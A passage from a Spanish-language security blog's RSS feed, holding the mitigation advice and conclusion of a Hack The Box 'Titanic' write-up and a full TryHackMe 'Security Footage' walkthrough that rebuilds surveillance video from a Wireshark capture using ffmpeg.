&lt;p&gt;&lt;img width=&quot;1484&quot; height=&quot;168&quot; alt=&quot;32&quot; src=&quot;https://github.com/user-attachments/assets/9ed8b30d-3540-4854-a814-327ab8fe2db5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, al acceder como administrador, podremos obtener la última &lt;strong&gt;flag&lt;/strong&gt; en el directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;como-se-puede-securizar&quot;&gt;¿Como se puede securizar?&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Implementar controles de acceso para evitar que archivos sensibles como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; sean accesibles a través de la web.&lt;/li&gt;
  &lt;li&gt;Asegurarse de que todos los parámetros de entrada, como el &lt;strong&gt;ticket&lt;/strong&gt; en el directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt;, sean validados y sanitizados para prevenir ataques de &lt;strong&gt;path traversal&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Mantener &lt;strong&gt;ImageMagick&lt;/strong&gt; y otros paquetes de software actualizados a sus versiones más recientes para mitigar vulnerabilidades conocidas.&lt;/li&gt;
  &lt;li&gt;Implementar políticas de contraseñas que requieran el uso de contraseñas fuertes y únicas para cada usuario.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;

&lt;p&gt;La máquina &lt;strong&gt;Titanic&lt;/strong&gt; de &lt;strong&gt;Hack The Box&lt;/strong&gt; permite explorar vulnerabilidades a través de técnicas como el &lt;strong&gt;path traversal&lt;/strong&gt; y la explotación de &lt;strong&gt;ImageMagick&lt;/strong&gt; para escalar privilegios. Este ejercicio enseña la importancia de validar entradas, proteger archivos sensibles, mantener el software actualizado y deshabilitar funciones innecesarias.&lt;/p&gt;

&lt;p&gt;Espero que os haya gustado la publicación, nos vemos en la siguiente!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2eb2ac4f-63d3-4a40-a18b-c96455fec681&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 26 Jul 2025 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Titanic</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Titanic"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Titanic</guid>
      </item>
    
      <item>
        <title>Security Footage Tryhackme Walkthrought</title>
        <description>&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/7f4c5f35-90cb-4886-9585-a32254d3059d&quot; alt=&quot;intro&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;
&lt;p&gt;He estado resolviendo retos en TryHackMe, y el reto de “Security Footage” me ha gustado mucho. En este reto, podemos aprender cómo se pueden recuperar las imágenes desde una captura de Wireshark para recrear un video de una cámara de vigilancia.&lt;/p&gt;

&lt;h1 id=&quot;analizando-el-archivo-pcap&quot;&gt;Analizando el archivo .pcap&lt;/h1&gt;
&lt;p&gt;El reto nos pide recuperar un video de una cámara de vigilancia, pero solo disponemos de una captura de Wireshark. Al analizarla, vemos que la IP “10.0.2.15” ha iniciado una conexión no cifrada con la cámara y esta está mostrando video.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f7f3603d-51c6-42ab-af7f-b543af95e798&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si hacemos clic derecho y seguimos la cadena, podremos analizar que no se está enviando video, sino que se están mandando muchas imágenes. Para extraer las imágenes de esta captura, podemos ir al apartado de “Mostrar como” en formato “raw” y guardar el archivo para su posterior descompresión. En mi caso, guardaré el archivo como “cadena.fjpeg”, que es el formato que normalmente utilizan las cámaras de vigilancia.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2bc9727d-61c5-4b97-a889-465f12fe5c41&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;obtener-las-imágenes&quot;&gt;Obtener las imágenes&lt;/h1&gt;

&lt;p&gt;Con la herramienta ffmpeg podremos extraer todas las imágenes del archivo que hemos creado anteriormente. El comando hace lo siguiente:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-i ./cadena.fjpeg&lt;/code&gt;: Aquí le decimos al programa cuál archivo usar como entrada, en este caso, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cadena.fjpeg&lt;/code&gt;. Puede ser un video o una imagen, dependiendo de lo que quieras convertir.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-q:v 2&lt;/code&gt;: Esto ajusta la calidad de las imágenes JPEG que se generan. El número &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt; indica una calidad bastante alta, ya que en esta escala, donde 1 es la mejor y 31 la peor, un valor más bajo significa mejor calidad.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagen_%04d.jpg&lt;/code&gt;: Este es el patrón que usará para nombrar los archivos de salida. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%04d&lt;/code&gt; será reemplazado por un número secuencial de cuatro dígitos. Así, las imágenes saldrán como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagen_0001.jpg&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagen_0002.jpg&lt;/code&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4a1da9af-b810-4833-93be-c6c1c1f0b43d&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/26716d01-895d-4a71-bba6-6dd4b2eefe03&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;volver-a-montar-el-video&quot;&gt;Volver a montar el video&lt;/h1&gt;
&lt;p&gt;Ahora que ya tenemos todas las imágenes del video, solo falta juntarlas y montar el video de nuevo. Utilizando la misma herramienta de antes y estos parámetros, podremos hacerlo:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-framerate 10&lt;/code&gt;: Este ajuste establece que el video final reproduzca 10 imágenes por segundo. Es decir, verás 10 cuadros en cada segundo de video.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-i ./imagen_%04d.jpg&lt;/code&gt;: Este patrón indica cómo nombrar las imágenes de entrada, que deben estar numeradas en orden (como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagen_0001.jpg&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagen_0002.jpg&lt;/code&gt;, y así sucesivamente).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-c:v libx264&lt;/code&gt;: Aquí se usa el códec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libx264&lt;/code&gt;, que es muy popular para comprimir videos en el formato H.264, permitiendo buena calidad con un tamaño de archivo moderado.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-pix_fmt yuv420p&lt;/code&gt;: Esto configura el formato de píxeles del video de salida para que sea compatible con la mayoría de los reproductores, asegurando que puedas verlo sin problemas.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;video_reconstruido.mp4&lt;/code&gt;: Es el nombre del archivo final, el video que se genera y que podrás reproducir en cualquier dispositivo compatible con MP4.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2670d04e-d849-457c-9d0b-d02732c9f673&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez vuelto a montar el video, podremos ver la flag que necesitamos para resolver el reto.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0a965381-4caf-4919-8a8e-4b040a72cb5e&quot; alt=&quot;6&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;Con este ejercicio, aprendimos a extraer imágenes de un archivo .pcap usando “Wireshark” y a reconstruir un video a partir de esas imágenes con “ffmpeg”. Este proceso no solo nos ayuda a entender cómo se transmiten los datos en redes no cifradas, sino que también muestra lo útiles que son las herramientas de análisis y conversión de medios en la ciberseguridad. Al lograr recuperar el video de la cámara de vigilancia, no solo completamos el reto, sino que también adquirimos conocimientos que podemos aplicar en situaciones reales.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2d06bc15-58d3-4395-b8fd-79f90e481a3b&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 20 Jun 2025 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Security-Footage-Tryhackme-Walkthrought</link>
        <link href="https://dtrigger289.github.io/Security-Footage-Tryhackme-Walkthrought"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Security-Footage-Tryhackme-Walkthrought</guid>
      </item>
    
  </channel>
</rss>
